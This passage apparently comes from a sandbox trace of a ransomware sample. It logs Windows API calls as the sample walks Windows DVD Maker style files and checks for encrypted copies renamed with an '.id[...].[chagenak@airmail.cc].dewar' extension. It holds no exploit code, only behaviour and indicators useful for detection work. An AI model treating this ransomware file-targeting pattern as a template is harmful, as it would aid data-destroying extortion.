Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.184] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=237298) returned 1 [0246.185] CloseHandle (hObject=0x1f0) returned 1 [0246.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0246.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv")) returned 0x20 [0246.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.186] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=269322) returned 1 [0246.187] CloseHandle (hObject=0x1f0) returned 1 [0246.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0246.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv")) returned 0x20 [0246.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.187] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.193] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3525) returned 1 [0246.193] CloseHandle (hObject=0x1f0) returned 1 [0246.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0246.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png")) returned 0x20 [0246.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.194] SetEvent (hEvent=0x118) returned 1 [0246.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.195] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3580) returned 1 [0246.195] CloseHandle (hObject=0x1f0) returned 1 [0246.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0246.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0246.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.197] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3595) returned 1 [0246.197] CloseHandle (hObject=0x1f0) returned 1 [0246.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0246.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0246.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.199] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1885) returned 1 [0246.199] CloseHandle (hObject=0x1f0) returned 1 [0246.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0246.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0246.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.205] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1375) returned 1 [0246.205] CloseHandle (hObject=0x1f0) returned 1 [0246.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0246.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0246.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.206] SetEvent (hEvent=0x118) returned 1 [0246.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.208] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=581394) returned 1 [0246.209] CloseHandle (hObject=0x1f0) returned 1 [0246.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0246.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0246.209] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0246.221] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=49904) returned 1 [0246.222] CloseHandle (hObject=0x1f0) returned 1 [0246.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0246.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0246.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0246.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.280] SetEvent (hEvent=0x118) returned 1 [0247.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.287] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=85208) returned 1 [0247.287] CloseHandle (hObject=0x1f0) returned 1 [0247.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0247.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0247.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.289] SetEvent (hEvent=0x118) returned 1 [0247.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.290] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=157208) returned 1 [0247.290] CloseHandle (hObject=0x1f0) returned 1 [0247.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0247.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0247.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.293] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=165208) returned 1 [0247.293] CloseHandle (hObject=0x1f0) returned 1 [0247.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0247.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0247.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.298] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=189214) returned 1 [0247.298] CloseHandle (hObject=0x1f0) returned 1 [0247.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv")) returned 0x20 [0247.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv")) returned 0x20 [0247.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.300] SetEvent (hEvent=0x118) returned 1 [0247.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.301] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=237208) returned 1 [0247.302] CloseHandle (hObject=0x1f0) returned 1 [0247.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv")) returned 0x20 [0247.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv")) returned 0x20 [0247.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0247.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0247.304] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1545) returned 1 [0247.304] CloseHandle (hObject=0x1f0) returned 1 [0247.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0247.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd 